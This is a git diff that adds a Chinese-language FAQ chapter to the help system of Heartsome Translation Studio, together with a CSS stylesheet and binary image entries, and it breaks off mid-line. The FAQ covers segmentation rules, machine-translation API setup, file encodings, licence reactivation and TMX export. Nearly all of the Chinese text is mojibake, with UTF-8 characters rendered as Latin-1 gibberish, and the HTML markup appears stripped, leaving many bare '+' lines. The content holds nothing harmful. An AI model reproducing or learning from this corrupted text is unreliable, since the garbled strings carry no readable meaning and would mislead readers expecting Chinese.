    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch09.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch09.html new file mode 100644 index 0000000..4fbd1db --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch09.html @@ -0,0 +1,773 @@ + + + +常è§é—®é¢˜ + + + + + + +
    +

    +常è§é—®é¢˜

    + + +
    + ++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    1.1. 默认分段ä¸å‡†ç¡®ï¼Œå¦‚何解决? +
    +
    1.2. 机器翻译如何使用? +
    +
    1.3. æºæ–‡æœ‰é”™è¯¯ï¼Œå¦‚何改正? +
    +
    1.4. 默认的文本段过滤规则ä¸å¤Ÿç”¨ï¼Œæ€Žä¹ˆåŠžï¼Ÿ +
    +
    1.5. 如何识别文件编ç ï¼Ÿ +
    +
    1.6. æ›´æ¢ç”µè„‘/é‡è£…系统åŽï¼Œè®¸å¯è¯æ— æ³•ä½¿ç”¨ï¼Œå¦‚何解决? +
    +
    1.7. 添加ã€å¤åˆ¶é¡¹ç›®æ–‡ä»¶ï¼Œæœ‰æ²¡æœ‰æ›´æ–¹ä¾¿çš„æ“作? +
    +
    1.8. 对于文件的æ“作,有时会以在项目视图中选择的一个或多个文件为准,有时åˆæ˜¯ä»¥å½“å‰æ­£åœ¨ç¼–辑的文件为准,如何判断? +
    +
    1.9. 能å¦å¯¹æ–‡æœ¬æ®µè¿›è¡Œæ‰¹é‡æ“作? +
    +
    1.10. 有些文本段是ä¸éœ€è¦ç¿»è¯‘的,应该怎样处ç†è¿™äº›æ–‡æœ¬æ®µæœ€åˆé€‚? +
    +
    1.11. 执行æŸäº›æ“作(如导出项目)时,出现“资æºä¸åŒæ­¥â€ (resource out of sync) + çš„æ示,应如何解决? +
    +
    1.12. HSTS 把项目文件ä¿å­˜åœ¨å“ªé‡Œäº†ï¼Ÿ +
    +
    1.13. 使用 HSTS æ—¶å‡ºçŽ°äº†é—®é¢˜ï¼Œåº”å¦‚ä½•å‘ Heartsome 寻求帮助? +
    +
    1.14. HSTS 支æŒå“ªäº›ç‰ˆæœ¬çš„ XLIFFã€TMXã€TBX 标准? +
    +
    1.15. 从 HSTS 导出的 TMX 文件如何导入 Trados? +
    +
    +

    1.1.

    +

    默认分段ä¸å‡†ç¡®ï¼Œå¦‚何解决?

    +

    如果这ç§åˆ†æ®µä¸å‡†ç¡®çš„情况åªæ˜¯å¶å°”出现,而且没有明显的规律å¯å¾ªï¼Œå¯ä»¥ç”¨â€œåˆå¹¶æ–‡æœ¬æ®µâ€æˆ–“分割文本段â€æ¥ä¿®æ­£ä¸æ­£ç¡®çš„分段。å¦åˆ™ï¼Œå¯ä»¥åœ¨â€œåˆ†æ®µè§„则â€ä¸­ä¿®æ­£è¿™ç±»ç»å¸¸æ€§ã€ä¸”有规律的分段问题。

    +
      +
    • +

      åˆå¹¶æ–‡æœ¬æ®µ

      + +

      当文本段被过度分段时,用 + Ctrl/Shift + åŠé¼ æ ‡å·¦é”®é€‰æ‹©è¦åˆå¹¶çš„多个连续的文本段,点击编辑èœå• > + åˆå¹¶æ–‡æœ¬æ®µã€‚æ¯ä¸¤ä¸ªåˆå¹¶çš„文本段æºæ–‡ä¹‹é—´ä¼šç”¨ä¸€ä¸ªæ–°ç”Ÿæˆçš„“内部标记â€æ¥è¿žæŽ¥ã€‚

      +
      +

      图 156. åˆå¹¶æ–‡æœ¬æ®µ

      +
      + + +
      +
      åˆå¹¶æ–‡æœ¬æ®µ
      +
      +
      +
      +


      + +
      +

      图 157. åˆå¹¶æ–‡æœ¬æ®µç»“æžœ

      +
      + + +
      +
      åˆå¹¶æ–‡æœ¬æ®µç»“æžœ
      +
      +
      +
      +
      +
    • +
    • +

      分割文本段

      + +

      当文本段分段ä¸è¶³æ—¶ï¼Œå…ˆå°†å…‰æ ‡å®šä½åœ¨æºæ–‡ä¸­éœ€è¦åˆ†å‰²çš„ä½ç½®ä¸Šï¼Œç„¶åŽç‚¹å‡»ç¼–辑èœå• + > 分割文本段。

      +
      +

      图 158. 分割文本段

      +
      + + +
      +
      分割文本段
      +
      +
      +
      +


      + +
      +

      图 159. 分割文本段结果

      +
      + + +
      +
      分割文本段结果
      +
      +
      +
      +
      + +
      +

      注æ„

      +

      åªèƒ½åˆå¹¶ã€åˆ†å‰²æœªé”定状æ€çš„文本段。

      +
      +
    • +
    • +

      é…置分段规则

      + +

      对分段规则的é…置通过分段规则管ç†å™¨æ¥å®Œæˆï¼Œè¯¥åŠŸèƒ½ä»…在“专业版â€åŠâ€œæ——舰版â€ä¸­æ供。è¦æ‰“开分段规则管ç†å™¨ï¼Œè¯·ç‚¹å‡»é«˜çº§èœå• + > 分段规则管ç†å™¨ã€‚

      +
      +

      图 160. 分段规则管ç†å™¨

      +
      + + +
      +
      分段规则管ç†å™¨
      +
      +
      +
      +


      æ¯ä¸ª SRX 文件都å¯ä»¥ä¿å­˜å¤šä¸ªè§„则,å¯ä»¥åœ¨è¿™é‡Œæ·»åŠ æˆ–编辑 SRX 分段规则文件。对 SRX + 文件中的分段规则的é…置分为如下两个部分:

      + +
        +
      • +

        语言规则

        + +

        å³é’ˆå¯¹ç‰¹å®šè¯­è¨€ï¼ˆä¾‹å¦‚中文)的分段规则,通常是与该语言的特定标点符å·æˆ–字符相关的内容。

        + +
          +
        1. +

          选择è¦ç¼–辑的分段规则 SRX + 文件,点击编辑按钮;

          + +
          +

          图 161. 分段规则管ç†å™¨å¯¹è¯æ¡†

          +
          + + +
          +
          分段规则管ç†å™¨å¯¹è¯æ¡†
          +
          +
          +
          +
          +
        2. +
        3. +

          如果ä¸æ‰“算修改分段规则文件å,直接点击确定按钮;

          +
          +

          图 162. é…置分段规则

          +
          + + +
          +
          é…置分段规则
          +
          +
          +
          +


          +
        4. +
        5. +

          在“语言规则â€ä¸­ï¼Œé€‰æ‹©è¦ç¼–辑的语言,点击编辑语言规则按钮,设置如下内容:

          + +
          +

          图 163. é…置语言规则

          +
          + + +
          +
          é…置语言规则
          +
          +
          +
          +
          + +
            +
          • +

            需è¦åˆ†æ®µ

            + +

            符åˆè¯¥è§„则的情况是å¦éœ€è¦åˆ†æ®µï¼ˆä¸éœ€è¦åˆ†æ®µçš„时候,通常是è¦åˆ†æ®µçš„情况中的个别例外)。

            +
          • +
          • +

            分段之å‰

            + +

            在该字符(正则表达å¼ï¼‰ä¹‹åŽåˆ†æ®µ/ä¸åˆ†æ®µ

            +
          • +
          • +

            分段之åŽ

            + +

            在该字符(正则表达å¼ï¼‰ä¹‹å‰åˆ†æ®µ/ä¸åˆ†æ®µ

            +
          • +
          +
        6. +
        7. +

          分别点击确定ã€ä¿å­˜æŒ‰é’®ã€‚

          +
        8. +
        +
      • +
      • +

        映射规则

        + +

        语言规则的å¤ç”¨è§„则,例如:é…ç½® zh-CNã€zh-HKã€zh-TW 都使用 zh 规则

        + +
          +
        1. +

          å‰ 2 步与语言规则的 1~2 相åŒï¼›

          +
        2. +
        3. +

          在“映射规则â€ä¸­ï¼Œé€‰æ‹©è¦ç¼–辑的规则集,点击编辑映射规则按钮;

          + +
          +

          图 164. é…置映射规则

          +
          + + +
          +
          é…置映射规则
          +
          +
          +
          +
          +
        4. +
        5. +

          选择具体的映射规则,点击编辑按钮,设置如下内容:

          +
          +

          图 165. 编辑映射规则

          +
          + + +
          +
          编辑映射规则
          +
          +
          +
          +


          + +
            +
          • +

            语言模å¼

            + +

            输入è¦åŒ¹é…的语言代ç çš„正则表达å¼

            +
          • +
          • +

            语言规则

            + +

            选择已添加的语言规则

            +
          • +
          +
        6. +
        7. +

          设置完æˆåŽï¼Œä¿å­˜æ‰€æœ‰è®¾ç½®ï¼Œå¹¶å…³é—­å¤šä½™çš„对è¯æ¡†ã€‚

          +
        8. +
        +
      • +
      + +

      è¦ä½¿ç”¨è‡ªå·±æ·»åŠ æˆ–编辑åŽçš„ SRX 分段规则文件,请在转æ¢æºæ–‡ä»¶ä¸º XLIFF 时选择相应的 + SRX 文件å³å¯ã€‚

      +
    • +
    +
    +

    1.2.

    +

    机器翻译如何使用?

    +

    HSTS ç›®å‰æ”¯æŒ Google Translate å’Œ Bing Translator + 两ç§æœºå™¨ç¿»è¯‘引擎,它们分别都需è¦ç”³è¯·å¯†é’¥ï¼Œå¹¶åœ¨ HSTS 中正确设置åŽæ‰èƒ½ä½¿ç”¨ã€‚

    +
      +
    • +

      Google Translate

      + +

      Google 现åªæ供收费版的 Google Translate v2 + æœåŠ¡ï¼Œæ‰€ä»¥å¿…é¡»è¦å…ˆè´­ä¹°ç›¸åº”çš„æœåŠ¡ã€‚

      + +
        +
      • +

        è´­ä¹°

        + +
          +
        1. +

          若无 Google å¸æˆ·ï¼Œè¯·å…ˆè®¿é—® https://accounts.google.com/SignUp + 注册;

          +
        2. +
        3. +

          访问 https://code.google.com/apis/console#:billing + ,点击 Create Project + 按钮创建项目;

          +
        4. +
        5. +

          从æœåŠ¡åˆ—表中找到“Translate + APIâ€ï¼Œç‚¹å‡»å…¶åŽé¢æ˜¾ç¤ºä¸ºâ€œOFFâ€çš„ + Activate + 按钮,ä¾æ¬¡åŒæ„弹出的两个æœåŠ¡æ¡æ¬¾ï¼›

          +
        6. +
        7. +

          在左边选择“Billingâ€åˆ†ç±»ï¼Œæˆ–é‡æ–°è®¿é—®ä¸Šè¿°ç½‘å€ï¼Œç‚¹å‡» + Google Checkout + 支付,并根æ®æ示添加支付方å¼ï¼Œå¦‚信用å¡ä¿¡æ¯ç­‰ï¼›

          +
        8. +
        9. +

          支付完æˆåŽï¼Œåœ¨å·¦è¾¹é€‰æ‹©â€œAPI Accessâ€åˆ†ç±»ï¼Œé€‰æ‹©å¹¶å¤åˆ¶ + API Key åŽé¢çš„值备用。

          +
        10. +
        +
      • +
      • +

        设置

        + +
          +
        1. +

          è¿è¡Œ HSTS,打开工具èœå• > + 选项 > + 翻译 > Google + Translateï¼›

          +
        2. +
        3. +

          在密钥文本框中,粘贴刚æ‰å¤åˆ¶çš„“API + Keyâ€ï¼Œç‚¹å‡»æµ‹è¯•å¯ç”¨æ€§æŒ‰é’®ï¼›

          +
        4. +
        5. +

          测试通过åŽï¼Œå¯ç»§ç»­ä¿®æ”¹å¦‚下设置:

          + +
            +
          • +

            自动机器翻译

            + +
              +
            • +

              当文本段无 Google Translate + 译文时自动执行

              + +

              åªå¯¹æœªç» Google 翻译的文本段执行,ä¸é‡å¤æ交相åŒçš„æ–‡æœ¬æ®µï¼ŒèŠ‚çœ Google + 翻译的æµé‡è´¹ç”¨

              +
            • +
            • +

              ä¸ç®¡æ–‡æœ¬æ®µæœ‰æ—  Google Translate + 译文,始终自动执行

              + +

              ä¸ç®¡æ˜¯å¦ç»è¿‡ Google 翻译都始终执行 Google + 翻译,适用于æºæ–‡å†…容ç»å¸¸å˜åŒ–的时候,å¯èƒ½é€ æˆé¢å¤–çš„ Google æµé‡è´¹ç”¨

              +
            • +
            • +

              手动执行

              + +

              ä¸è‡ªåŠ¨æ‰§è¡Œ Google 翻译,åªåœ¨æœ‰éœ€è¦çš„时候手动执行

              +
            • +
            +
          • +
          • +

            预存 Google Translate + 翻译

            + +

            å¯ç”¨åŽå°†åœ¨é¢„翻译时,将 Google Translate 译文预存到 XLIFF + 中

            +
          • +
          +
        6. +
        7. +

          设置妥当åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®ã€‚

          +
        8. +
        +
      • +
      + +

      如果自动机器翻译没有设置为手动,则在跳转到文本段时,会自动得到 Google + 翻译结果;å¦åˆ™ï¼Œå¯ä»¥ç‚¹å‡»ç¿»è¯‘èœå• > Google + æœºå™¨ç¿»è¯‘ï¼Œæ‰‹åŠ¨èŽ·å– Google Translate 的翻译。

      +
    • +
    • +

      Bing Translator

      + +

      Microsoft æ供的 Bing Translator æœåŠ¡ï¼Œå…费用户æ¯æœˆå¯ä»¥ä½¿ç”¨ 2000000 + 个字符的æµé‡ã€‚

      + +
        +
      • +

        申请

        + +
          +
        1. +

          访问 http://msdn.microsoft.com/en-us/library/hh454950.aspx + ,点击å³ä¸Šè§’çš„ Sign In 登录或注册 Microsoft + Live å¸å·ï¼›

          +
        2. +
        3. +

          登录åŽè‡ªåŠ¨è¿”回上一个页é¢ï¼Œç‚¹å‡» Azure + Marketplace 链接,点击 Sign + Up 注册微软 Azure 市场;

          +
        4. +
        5. +

          输入必填信æ¯ã€å¹¶åœ¨ Country / Region + 中选择“Worldwide + (简体中文)â€ï¼Œç„¶åŽç‚¹å‡»ç»§ç»­æŒ‰é’®ï¼›

          +
        6. +
        7. +

          åŒæ„ Windows Azure Marketplace + çš„æœåŠ¡æ¡æ¬¾ï¼Œç‚¹å‡»æ³¨å†ŒæŒ‰é’®ï¼›

          +
        8. +
        9. +

          åŒæ„ Microsoft Translator + æœåŠ¡æ¡æ¬¾ï¼Œç‚¹å‡»æ³¨å†Œè®¢é˜… Microsoft + Translator æœåŠ¡ï¼›

          +
        10. +
        11. +

          访问 https://datamarket.azure.com/developer/applications/ + ,点击注册按钮;

          +
        12. +
        13. +

          输入必填信æ¯ï¼Œé™¤å®¢æˆ·ç«¯å¯†é’¥ä¸è¦ä¿®æ”¹ä¹‹å¤–,其他信æ¯å¯ä»¥éšä¾¿è¾“入,将客户端 + ID + 和客户端密钥分别å¤åˆ¶å¹¶ä¿å­˜èµ·æ¥å¤‡ç”¨ï¼Œç‚¹å‡»åˆ›å»ºæŒ‰é’®ã€‚

          +
        14. +
        +
      • +
      • +

        设置

        + +

        Bing Translator 在 HSTS 中的设置åŠä½¿ç”¨å‡ä¸Ž Google Translate + 几乎完全一样,唯一的区别是 Bing Translator 需è¦è¾“入客户端 + ID 和密钥,而 Google Translate + åªè¦è¾“入密钥。详情请å‚考 Google Translate + 的设置。

        +
      • +
      +
    • +
    +
    +

    1.3.

    +

    æºæ–‡æœ‰é”™è¯¯ï¼Œå¦‚何改正?

    默认情况下,HSTS + ä¸å…许编辑文本段的æºæ–‡ï¼Œä»¥é˜²æ­¢è¯¯æ“作。但如果æºæ–‡ä¸­ç¡®å®žæœ‰é”™è¯¯éœ€è¦æ”¹æ­£ï¼Œåˆ™å¯ä»¥ä½¿ç”¨ç¼–辑èœå• + > 编辑æºæ–‡ > + 编辑当å‰æºæ–‡æˆ–编辑所有æºæ–‡ï¼Œä¸´æ—¶è§£é™¤å¯¹æºæ–‡çš„é”定。使用编辑当å‰æºæ–‡ï¼Œåˆ™åœ¨ç¼–辑完当å‰æºæ–‡åŽä¼šè‡ªåŠ¨å›žåˆ°ç¦æ­¢ç¼–辑æºæ–‡çš„状æ€ï¼›è€Œä½¿ç”¨ç¼–辑所有æºæ–‡ï¼Œåˆ™éœ€è¦æ‰‹åŠ¨å–消编辑æºæ–‡ï¼Œå¦åˆ™æ‰€æœ‰æ–‡æœ¬æ®µçš„æºæ–‡éƒ½ä¸€ç›´å¤„于å¯ç¼–辑状æ€ã€‚

    +

    1.4.

    +

    默认的文本段过滤规则ä¸å¤Ÿç”¨ï¼Œæ€Žä¹ˆåŠžï¼Ÿ

    å¯ä»¥ç‚¹å‡»æ–‡æœ¬æ®µè¿‡æ»¤å™¨å³è¾¹çš„自定义过滤器按钮,添加自定义的文本段过滤规则,详情请è§â€œè¿‡æ»¤æ–‡æœ¬æ®µâ€ä¸€èŠ‚。

    +

    1.5.

    +

    如何识别文件编ç ï¼Ÿ

    +

    如下基于文本文件的类型,å¯ä»¥ä½¿ç”¨ EmEditor + 或其他支æŒå¤šç§æ–‡ä»¶ç¼–ç çš„文本编辑器打开,查看其正确的编ç ï¼š

    +
      +
    • +

      .html, .htm

      +
    • +
    • +

      .inx

      +
    • +
    • +

      .js

      +
    • +
    • +

      .mif

      +
    • +
    • +

      .po

      +
    • +
    • +

      .properties

      +
    • +
    • +

      .rc

      +
    • +
    • +

      .resx

      +
    • +
    • +

      .rtf

      +
    • +
    • +

      .sdlxliff

      +
    • +
    • +

      .ttx

      +
    • +
    • +

      .txt

      +
    • +
    • +

      .xlf

      +
    • +
    • +

      .xml

      +
    • +
    +

    如下基于 XML 的压缩包格å¼ï¼Œåˆ™é€šå¸¸ä¸º UTF-8:

    +
      +
    • +

      .doc, .ppt, + .xls(通过 OpenOffice 间接转æ¢æ”¯æŒï¼‰

      +
    • +
    • +

      .docx, .pptx, + .xlsx

      +
    • +
    • +

      .idml

      +
    • +
    • +

      .odt, .odp, + .ods

      +
    • +
    +
    +

    1.6.

    +

    æ›´æ¢ç”µè„‘/é‡è£…系统åŽï¼Œè®¸å¯è¯æ— æ³•ä½¿ç”¨ï¼Œå¦‚何解决?

    +

    在更æ¢ç”µè„‘/é‡è£…系统之å‰ï¼Œåº”先在旧电脑/原系统中使用帮助èœå• > + 许å¯è¯ç®¡ç† > + å–消激活的功能,先å–消激活许å¯è¯ã€‚完æˆæ›´æ¢/é‡è£…之åŽï¼Œç¬¬ä¸€æ¬¡è¿è¡Œè½¯ä»¶ä¼šæ示激活许å¯è¯ï¼ŒæŒ‰å±å¹•çš„å‘导æ“作å³å¯ã€‚

    +

    若已ç»å®Œæˆäº†æ›´æ¢ç”µè„‘/é‡è£…系统,但之å‰æœªå…ˆå–消激活许å¯è¯ï¼Œåˆ™è¯·è”系技术支æŒäººå‘˜ï¼Œä»¥äººå·¥æ–¹å¼å–消许å¯è¯åœ¨æ—§ç”µè„‘/原系统中的激活,然åŽæ‰å¯ä»¥é‡æ–°åœ¨æ–°ç”µè„‘/新系统中激活该许å¯è¯ã€‚详情è§b。

    +
    +

    1.7.

    +

    添加ã€å¤åˆ¶é¡¹ç›®æ–‡ä»¶ï¼Œæœ‰æ²¡æœ‰æ›´æ–¹ä¾¿çš„æ“作?

    +

    HSTS 的项目视图,与 Windows + 系统的“资æºç®¡ç†å™¨â€ï¼Œæˆ– Mac OS 的“Finderâ€ã€Linux çš„ + “Nautilusâ€ç­‰ï¼ˆä¸‹é¢ç»Ÿç§°â€œæ–‡ä»¶ç®¡ç†å™¨â€ï¼‰ç±»ä¼¼ï¼Œåœ¨é¡¹ç›®ä¸­å¯¹å­æ–‡ä»¶å¤¹è¿›è¡Œåˆ›å»ºã€é‡å‘½åã€åˆ é™¤ç­‰æ“作,分别与上述文件管ç†å™¨æœ‰åŒæ ·çš„作用。

    +

    所以,å¯ä»¥å°†æ“作系统“文件管ç†å™¨â€ä¸­çš„文件直接拖放到项目中,完æˆå°†æ–‡ä»¶å¤åˆ¶åˆ°é¡¹ç›®ä¸­çš„æ“作。å之,将文件从项目中拖到文件管ç†å™¨ä¸­ï¼Œåˆ™å¯ä»¥å°†é¡¹ç›®æ–‡ä»¶å¤åˆ¶æˆ–移动到拖放的目标ä½ç½®ã€‚在项目的ä¸åŒæ–‡ä»¶å¤¹ä¹‹é—´æ‹–动文件/文件夹,则为直接移动。此外,也å¯ä»¥ä½¿ç”¨ç¼–辑èœå• + > + å¤åˆ¶ã€å‰ªåˆ‡ã€ç²˜è´´ç­‰åŠŸèƒ½æ¥æ“作项目中的文件ã€æ–‡ä»¶å¤¹ã€‚

    +
    +

    注æ„

    +

    从项目中将文件拖出æ¥çš„时候,如果目标ä½ç½®ä¸Žâ€œHeartsome + Workspaceâ€å¤„于åŒä¸€ä¸ªç£ç›˜åˆ†åŒºï¼Œåˆ™é»˜è®¤çš„æ“作是移动而ä¸æ˜¯å¤åˆ¶ã€‚故推è使用快æ·é”® + Ctrl/Command+Cã€Ctrl/Command+V + 从项目中å¤åˆ¶æ–‡ä»¶ï¼Œä»¥é¿å…æ„外地将文件从项目中移走。

    +
    +
    +

    1.8.

    +

    对于文件的æ“作,有时会以在项目视图中选择的一个或多个文件为准,有时åˆæ˜¯ä»¥å½“å‰æ­£åœ¨ç¼–辑的文件为准,如何判断?

    当项目视图被激活(带有ä¸åŒé¢œè‰²çš„外框)时,æ“作的文件å³ä¸ºé¡¹ç›®è§†å›¾ä¸­é€‰æ‹©çš„文件;当编辑器被激活时,æ“作的文件å³ä¸ºæ­£åœ¨ç¼–辑的文件。

    +

    1.9.

    +

    能å¦å¯¹æ–‡æœ¬æ®µè¿›è¡Œæ‰¹é‡æ“作?

    编辑ã€ç¿»è¯‘èœå•ä¸‹çš„大部分针对文本段的功能(如修改文本段状æ€ã€æ·»åŠ /删除批注等)都支æŒåŒæ—¶å¯¹å¤šä¸ªæ–‡æœ¬æ®µè¿›è¡Œæ‰¹é‡æ“作,方法是使用 + Ctrl 或 + Shift+鼠标左键å•å‡»æ¥é€‰æ‹©ï¼Œç„¶åŽæ‰§è¡Œç›¸åº”的功能,就会对所有选中的文本段生效。

    +

    1.10.

    +

    有些文本段是ä¸éœ€è¦ç¿»è¯‘的,应该怎样处ç†è¿™äº›æ–‡æœ¬æ®µæœ€åˆé€‚?

    有其他 CAT + 工具使用习惯的用户å¯èƒ½ä¼šä½¿ç”¨â€œå¤åˆ¶æºæ–‡åˆ°ç›®æ ‡â€ã€â€œæ‰¹å‡†æ–‡æœ¬æ®µâ€ç­‰ä¸€ç³»åˆ—功能æ¥å®žçŽ°æ‰€éœ€çš„效果。而在 + HSTS 中,更简å•çš„推èåšæ³•æ˜¯ï¼šå°†è¿™äº›ä¸éœ€è¦ç¿»è¯‘的文本段é”定ã€å¹¶ä¿ç•™å…¶è¯‘æ–‡ä¸ºç©ºç™½ã€‚åœ¨è½¬æ¢ XLIFF + 为目标文件的时候,对于译文为空白的文本段,HSTS 会自动å–å…¶æºæ–‡ã€‚

    +

    1.11.

    +

    执行æŸäº›æ“作(如导出项目)时,出现“资æºä¸åŒæ­¥â€ (resource out of sync) + çš„æ示,应如何解决?

    在项目视图中选择被æ“作的文件所属的项目,点击å³é”®èœå• + > 刷新,然åŽå†é‡æ–°æ‰§è¡Œå¯¼å‡ºé¡¹ç›®ç­‰æ“作。

    +

    1.12.

    +

    HSTS 把项目文件ä¿å­˜åœ¨å“ªé‡Œäº†ï¼Ÿ

    首次è¿è¡Œ HSTS 的时候,软件会自动在当å‰ç”¨æˆ·ç›®å½•ï¼ˆåœ¨ Windows + 中为系统环境å˜é‡â€œ%USERPROFILE%â€ã€åœ¨ Mac OS/Linux + 中则为“$HOMEâ€æ‰€æŒ‡å‘的文件夹路径)中创建一个å为“Heartsome + Workspaceâ€çš„文件夹,称为“Heartsome 工作空间â€ç›®å½•ã€‚在 HSTS + 中创建的所有项目åŠå…¶æ‰€æœ‰å­æ–‡ä»¶å¤¹ã€æ–‡ä»¶éƒ½ä¿å­˜åœ¨è¯¥ç›®å½•ä¸­ã€‚

    +

    1.13.

    +

    使用 HSTS æ—¶å‡ºçŽ°äº†é—®é¢˜ï¼Œåº”å¦‚ä½•å‘ Heartsome 寻求帮助?

    +

    å¯ä»¥å‘邮件到 Heartsome 技术支æŒé‚®ç®±ï¼šï¼Œå¹¶åœ¨é‚®ä»¶ä¸­å°½å¯èƒ½å¤šåœ°æ供如下信æ¯ï¼Œä»¥ä¾¿æ”¯æŒäººå‘˜èƒ½æ›´é«˜æ•ˆåœ°äº†è§£æ‚¨é¢ä¸´çš„问题:

    +
      +
    1. +

      æ“作系统åŠç‰ˆæœ¬ï¼Œä¾‹å¦‚ Windows XP 32-bit SP3ï¼›

      +
    2. +
    3. +

      Java è¿è¡Œæ—¶çŽ¯å¢ƒ (Java Runtime Environment, JRE) 版本,例如 Java + 1.7.0_05-b05ï¼›

      +
    4. +
    5. +

      Heartsome 产å“版本类型åŠç‰ˆæœ¬å·ï¼Œä¾‹å¦‚ Translation Studio 旗舰版 8.0.0 + Build 20120907ï¼›

      +
    6. +
    7. +

      详细的æ“作步骤;

      +
    8. +
    9. +

      实际得到的结果;

      +
    10. +
    11. +

      预期想è¦å¾—到的结果;

      +
    12. +
    13. +

      样本文件,因有些问题åªåœ¨ç‰¹å®šçš„文件中出现;

      +
    14. +
    15. +

      错误现象截图;

      +
    16. +
    17. +

      其他能帮助支æŒäººå‘˜å®šä½é—®é¢˜çš„任何信æ¯ã€‚

      +
    18. +
    +
    +

    1.14.

    +

    HSTS 支æŒå“ªäº›ç‰ˆæœ¬çš„ XLIFFã€TMXã€TBX 标准?

    +

    HSTS 支æŒçš„标准版本分别如下:

    +
      +
    • +

      XLIFF v1.2

      +
    • +
    • +

      TMX v1.4ã€v1.4b

      +
    • +
    • +

      TBX v0.2

      +
    • +
    +
    +

    1.15.

    +

    从 HSTS 导出的 TMX 文件如何导入 Trados?

    请在使用 HSTS 导出记忆库为 TMX 时选择一级 + TMX(ä¸å«æ ‡è®°ï¼‰ã€è‡ªå®šä¹‰ç¼–ç å¤é€‰æ¡†ï¼Œå¹¶åœ¨ä¸‹æ‹‰åˆ—表中选择 + UTF-16LE,并使用工具èœå• > + TMX Validator > + 文件èœå• > æ¸…ç† TMX + 文件,处ç†å®ŒæˆåŽå†å¯¼å…¥ Trados。

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/css/style.css b/ts/net.heartsome.cat.ts.ui.help/html/zh/css/style.css new file mode 100644 index 0000000..dde0bf7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/css/style.css @@ -0,0 +1,206 @@ +/* +Product: Heartsome Translation Studio +Author: Jacky Zeng +Date: 2012-11-25 +Version: 1.1 +*/ + + +body { + font-size: 14px; + color: #000; + font-family: Arial, Helvetica, 宋体, simsun, sans-serif; +} + +a:link, a:visited { + text-decoration: none; + color: #000; +} + +a:hover, a:active { + text-decoration: underline; + color: #ff0000; +} + +p { + font-size: 14px; + line-height: 1.4; +} + +em { + font-style: normal; +} +/* +Page Header +*/ +.navheader { + font-size: 14px; +} +.navheader a:link { + text-decoration: none; + font-size: 14px; + color: #000; +} +.navheader a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 14px; +} +.navheader a:visited { + text-decoration: none; + color: #000; + font-size: 14px; +} + +.navheader th { + color: #1B5874; + font-size: 20px; +} +/* +Page Footer +*/ +.navfooter { + font-size: 14px; +} + +.navfooter table tr th td { + font-size: 14px; + color: #000; +} +.navfooter a:link { + text-decoration: none; + color: #000; + font-size: 14px; +} +.navfooter a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 14px; +} +.navfooter a:visited { + text-decoration: none; + color: #000; + font-size: 14px; +} + +/* +Chapter title +Level 1 +*/ +h1 { + font-size: 20px; + font-weight: bold; + text-align: center; + color: #1B5874; +} + +/* +Section title +Level 2 +*/ +h2 { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} + +h2.title { + font-size: 18px; + font-weight: bold; + color: #1B5874; +} +/* +Section title +Level 3 +*/ +h3 { + font-size: 16px; + font-weight: bold; + color: #1B5874; +} + +h3.title { + font-weight: bold; + font-size: 16px; + color: #1B5874; + +} + +/* +Section title +Level 4 +*/ +h4 { + font-size: 14px; + font-weight: bold; +} + +h4.title { + font-weight: bold; + font-size: 14px; + color: #1B5874; +} + +.sect2 { + margin-left: 20px; +} + +.sect3 { + margin-left: 30px; +} + +span.emphasis, .emphasis { + font-weight: bold; + line-height: 1.0; +} + +div.glosslist { + margin-left: 40px; +} + +div.glossary_item_title { + font-weight: bold; + font-size: 14px; + margin-top: 22px; + margin-bottom: -10px; +} + + + +div.note, div.warning { + background-image: url(../images/mark-icons-warn.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.tip { + background-image: url(../images/mark-icons-info.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +div.question { + background-image: url(../images/mark-icons-questions.png); + background-repeat: no-repeat; + background-position: 0px center; + padding-left: 45px; + margin-left: -10px; +} + +ol.orderedlist, li.listitem { + margin-left: 0px; +} + +.interfacename { + font-weight: bold; + font-size: 14px; +} + +span.guilabel, span.type { + font-size: 14px; + font-weight: normal; +} diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-1.png new file mode 100644 index 0000000..aa409e6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-2.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-2.png new file mode 100644 index 0000000..0c364cc Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-note-2.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-1.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-1.png new file mode 100644 index 0000000..1d7d317 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-1.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-3.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-3.png new file mode 100644 index 0000000..2fc113d Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/add-terminology-3.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/apply-tm-match.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/apply-tm-match.png new file mode 100644 index 0000000..bf898d5 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/apply-tm-match.png differ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/images/close.png b/ts/net.heartsome.cat.ts.ui.help/html/zh/images/close.png new file mode 100644 index 0000000..f3bf481 Binary files /dev/null and 